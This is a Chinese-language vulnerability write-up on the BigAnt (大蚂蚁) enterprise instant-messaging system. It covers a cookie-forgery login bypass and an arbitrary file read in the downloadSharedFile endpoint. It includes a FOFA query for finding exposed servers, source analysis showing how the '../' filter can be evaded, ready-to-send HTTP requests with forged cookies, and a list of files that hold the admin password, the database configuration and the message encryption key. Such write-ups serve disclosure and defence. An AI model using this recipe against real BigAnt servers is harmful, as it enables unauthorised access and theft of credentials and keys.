大蚂蚁 (BigAnt) 即时通讯系统 downloadSharedFile 任意文件读取漏洞


漏洞简介

杭州九麒科技大蚂蚁 (BigAnt) 即时通讯系统是一款企业级IM通信管理系统,提供多种功能支持。该系统的 downloadSharedFile 接口存在任意文件读取/下载漏洞,攻击者可以通过特殊的参数绕过系统限制,读取系统上任意文件内容,造成敏感内容泄露或为进一步攻击做准备。

影响版本

BigAnt 5.5.x 及以上版本用户

经过测试,最新版本 6.0.1.20250407.1 也受影响

fofa语法

(body="/Public/static/admin/admin_common.js" && body="/Public/lang/zh-cn.js.js") || title="即时通讯 系统登录" && body="/Public/static/ukey/Syunew3.js"

漏洞分析

先看初始化部分 \Pan\Controller\ShareUrlController::_initialize

function _initialize() {
       parent::_initialize();
}
class PanBaseController extends BaseController {

    public $funType = 'addin';

    //是否验证登录
    protected $validLogin = 1 ;

    //是否验证登录
    protected $validAdmin = 0 ;

    //登入验证
    public function _initialize(){

            if ($this->validLogin){
                    if (! sp_user_islogin()){
            //重新获取cookie中的数据,自动登录
            $userId = cookie('userId');
            $saasId = cookie('saasId');

            if($userId && $saasId){
                $res = \Common\Lib\SaasSDK::trustLogin($saasId, $userId,'pan') ;
            }else{
                                parent::common_logout('public/logout') ;
            }
                    }
                    //zou 20160705 当证当前页面与当前登录是否一致
                    if(!parent::valid_clientid_bool()){
                            parent::common_logout('public/logout') ;
                    }
            }

            //有时从其它应用转过来,没能经过load会有问题 死循化
            if (! sp_get_root()){
                    $this->redirect('public/load');
                    exit;
            }

            if ($this->validAdmin){
                    if (! sp_user_isadmin()){
                            $this->error(L('_ONLY_MANAGE_VISIT_'));
                            exit;
                    }
            }

            //权限
            $this->uid = sp_user_id();

            /* //重置用户所拥有的云盘权限
            $roots = \Pan\Lib\PanSDK::getUserRoots($this->uid);
            sp_set_root($roots); */
            parent::_initialize();
    //初始化参数
    $aces = array();
    $aces[] = array('name'=>L('_PAN_'),'value'=>2) ;

    $this->initParam(1,"pan",L("_APP_NAME_"),$aces,"pan_12");

    }

因此我们可以在cookie伪造userId和saasId来获取一个合法的PHPSESSID来通过权限校验。

然后再看文件读取部分downloadSharedFile()的实现逻辑

/**
 * 下载分享的文件
 * sw create in 2017-9-4 下午5:24:51
 */
public function downloadSharedFile()
{
    $truePath = I('true_path');
    $fileName = I('file_name');
    $truePath=str_replace("../","",$truePath);
    sp_download($truePath,$fileName);
}

跟进sp_download方法,这里的$truePath=str_replace("../","",$truePath);还是只替换了一次,因此如果需要目录穿越,可以考虑双写或者在Windows服务器环境采用反斜杠..\来绕过。

/**
 * 此函数支持断点续传,但不支持HTTP的下载
 * @param string $path
 * @param string $name
 * @param number $isSelfRoot
 */
function sp_download($path='',$name = '',$isSelfRoot = 1){
    // 过滤 ../
    $path = str_replace("../", "", $path);

    //如果是相对路径,加上本站的地址
    if ($isSelfRoot){
       $path = $_SERVER ['DOCUMENT_ROOT'] . $path;
        //$path = $_SERVER ['HTTP_HOST'] . $path;
    }

    //取路径的文件名
    if ($name == ""){
       $info = pathinfo($path);
       $name = $info['basename'] ;
    }
    /** @var \Common\Logic\FileDownloadLogic $FileDownload */
    $FileDownload = D("Common/FileDownload",'Logic');
    $FileDownload->download($path,$name,true);
}

这里同样有../ 过滤,可采用同样的方式来绕过。

$FileDownload->download($path,$name,true)实现逻辑如下

public function download($file, $name='', $reload=false){

    set_time_limit(0); 
    if(!file_exists($file)){
       throw new \RuntimeException("file is not exist:".$file);
    }

    if($name == ''){
       $name = basename($file);
    }
    $name = sp_browser_filename($name);

    //下载时候不进行判断是否加密,文件加密状态可变
    try{
       $isEncryptFile = \Common\Lib\FileEncrypt\FileEncryptLib::isEncryptFile($file);
       if($isEncryptFile){
          \Common\Lib\FileEncrypt\FileEncryptLib::fileDecryptDownload($file,$name);
          die;
       }
    }catch(\RuntimeException $e){
       die($e->getMessage());
    }
    if($reload){
       $fp = fopen($file, 'rb');
       $file_size = filesize($file);
       $ranges = $this->getRange($file_size);
       if($ranges != null){ // 使用续传
          header('cache-control:public');
          header('content-type:application/octet-stream;charset=utf-8');
          header('content-disposition:attachment; filename="'.$name.'"');
          header('HTTP/1.1 206 Partial Content');
          header('Accept-Ranges:bytes');
          // 剩余长度
          header(sprintf('content-length:%u', $ranges['end'] - $ranges['start']));
          // range信息
          header(sprintf('content-range:bytes %s-%s/%s', $ranges['start'], $ranges['end'], $file_size));
          // fp指针跳到断点位置
          fseek($fp, sprintf('%u', $ranges['start']));
          ob_clean();
          while(!feof($fp)){
             echo fread($fp, round($this->_speed * 1024, 0));
             ob_flush();
             flush();
             sleep(1); // 用于测试,减慢下载速度
          }
          ($fp != null) && fclose($fp);
          exit();
       }
    }

    //dump($file);die;
    Http::download($file,$name);
}

即使是加密文件也会自行解密后下载,到这就非常清楚了,对于用户提供的文件路径没有任何过滤或校验,直接操作导致的任意文件读取/下载漏洞。

漏洞复现

需要注意thinkphp的路由特性,不区分大小写,且还支持如下等方式

/Pan/ShareUrl/downloadSharedFile.html

/Pan/ShareUrl/downloadSharedFile

先访问获取合法PHPSESSID

GET /Pan/ShareUrl/downloadSharedFile?file_name=1.png&true_path=/bom.php HTTP/1.1
Host: bigant.local:8000
Cookie: userId=admin;saasId=CC1743B5-E5D5-42CE-B5F6-42E24464C8D0

可以通过伪造获取的PHPSESSID直接进入云盘,达到权限绕过,查看所有网盘文件。

把PHPSESSID添加到cookie再次请求Location的地址

再次请求文件下载接口

GET /Pan/ShareUrl/downloadSharedFile?file_name=1.png&true_path=/bom.php HTTP/1.1
Host: bigant.local:8000
Cookie: PHPSESSID=quhqmbu3mq8hkqmo6393lijqhq

成功读取到web根目录下的 bom.php文件内容。

或者读取其他敏感文件如/Runtime/Data/ms_admin.php 它包含当前系统用户admin的密码

或者 installData.php ,包含系统数据库配置信息

或者 msg_encrypt_key.php 包含消息解密aes密钥


手机扫码阅读

大蚂蚁 (BigAnt) 即时通讯系统 clearUserDevice SQL注入漏洞

大蚂蚁 (BigAnt) 即时通讯系统 getFileTrueAddress SQL注入漏洞

评 论